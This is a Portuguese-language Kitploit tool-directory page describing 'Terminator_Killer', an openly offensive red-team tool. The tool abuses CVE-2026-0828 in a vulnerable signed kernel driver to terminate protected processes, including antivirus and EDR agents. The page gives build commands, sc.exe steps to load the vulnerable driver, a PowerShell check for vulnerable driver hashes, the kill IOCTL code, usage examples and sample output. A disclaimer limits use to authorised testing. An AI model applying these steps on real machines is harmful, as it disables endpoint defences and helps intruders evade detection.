Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/hika-sec/terminator_killer
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEvasão de IDS/IPSTestes de PenetraçãoRed Teaming
GitHubhika-sec/terminator_killer

Terminator_Killer

Matador de processos em modo kernel que explora o CVE-2026-0828 (BYOVD) para encerrar processos protegidos por meio de um driver assinado vulnerável, contornando o PPL e a segurança de endpoint.

Ver Repositório
1há 21h 36mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Terminator - Matador de Processos de Red Team

Uma ferramenta de término de processos em modo kernel que aproveita um driver vulnerável (CVE-2026-0828) para matar processos protegidos a partir do modo de usuário.

Compilação

Requer MinGW-w64 (GCC) no Windows. Compile com:

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

Detalhamento das flags:

FlagFinalidade
--%Token de interrupção de análise do PowerShell (passa argumentos literalmente para o g++)
-OzOtimizar para o tamanho mínimo
-ffunction-sections / -fdata-sectionsColoca cada função/dado em uma seção separada
-static / -static-libgcc / -static-libstdc++Vinculação estática (sem dependências de DLL em tempo de execução)
-Wl,--gc-sectionsO linker coleta automaticamente as seções não utilizadas
-WAtivar avisos

Saída: terminator.exe autônomo (~20-30 KB reduzido).

Foco Técnico

Este projeto demonstra a exploração de um driver de kernel vulnerável (STProcessMonitorDriver) que expõe um manipulador IOCTL_KILL_PROCESS não validado, permitindo o término arbitrário de processos, independentemente de privilégios ou mecanismos de proteção (PPL, flags de EPROCESS, etc.).

Detalhamento da Arquitetura

ComponenteFinalidade
terminator.cppCliente em modo de usuário que enumera processos e envia IOCTLs de término
terminator.hppInterface de classe para enumeração e término de processos
ProcessMonitorDriver.sysDriver de kernel vulnerável (externo, não incluído)

Análise de Código

Terminator::GetProcessPids()

  • Cria um snapshot via CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
  • Itera por todos os processos com Process32First/Process32Next
  • Faz correspondências sem diferenciar maiúsculas/minúsculas contra os nomes de processos alvo
  • Retorna um vetor dos PIDs correspondentes

Terminator::ProcessKill()

  • Abre um handle para \\.\STProcessMonitorDriver
  • Entra em um loop infinito de monitoramento (intervalo de 500ms)
  • Para cada PID descoberto, envia IOCTL_KILL_PROCESS (0xB822200C) com um buffer de PID de 8 bytes
  • Nenhuma saída quando os processos não são encontrados; registra apenas nas tentativas de término

Guia de Uso

Pré-requisitos

Carregue o driver vulnerável (requer Administrador):

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

Explorando um Serviço Existente

Se uma versão vulnerável do ProcessMonitorDriver.sys já estiver instalada e em execução como um serviço (por exemplo, de um aplicativo legítimo), o Terminator pode conectar-se diretamente sem carregar um novo driver.

Verifique se o serviço existe e está em execução:

root@kitploit:~
sc.exe query STProcessMonitor

Verifique se a versão do driver é vulnerável (PowerShell):

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

Se o serviço existir e estiver RUNNING com uma versão vulnerável, pule as etapas de carregamento do driver e execute o Terminator diretamente.

Versões Afetadas (Testadas)

VersãoSHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

Outras versões podem ser afetadas; verifique o manipulador de IOCTL do driver antes do uso.

Executar o Terminator

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

Exemplo:

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

Saída

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

Análise do CVE-2026-0828

Vulnerabilidade: O driver STProcessMonitorDriver registra um manipulador de IOCTL (0xB822200C) que:

  1. Aceita um PID de 64 bits fornecido pelo usuário como buffer de entrada
  2. Não realiza nenhuma validação no valor do PID
  3. Chama PsLookupProcessByProcessId → ZwTerminateProcess diretamente
  4. Executa no contexto de kernel (token SYSTEM), contornando todas as ACLs do modo de usuário

Impacto: Qualquer usuário não administrador com acesso ao driver pode encerrar:

  • Processos Protegidos (PPL)
  • Agentes de antivírus/EDR
  • Processos críticos do sistema (csrss, winlogon, etc.)
  • Processos com requisitos de SeDebugPrivilege

Causa Raiz: Validação ausente de ObReferenceObjectByHandle, sem SeSinglePrivilegeCheck(SeDebugPrivilege) e sem verificações de acesso ao objeto de processo.

Aviso Legal

Esta ferramenta destina-se apenas a pesquisas de segurança autorizadas e exercícios de red team.

O uso não autorizado contra sistemas que você não possui ou sem permissão explícita para testar é ilegal. O autor não se responsabiliza pelo uso indevido. Garanta que você tenha autorização por escrito antes de implantar em qualquer ambiente.

O driver vulnerável (ProcessMonitorDriver.sys) é propositalmente falho para fins de demonstração e nunca deve ser implantado em produção.

Baixar ferramenta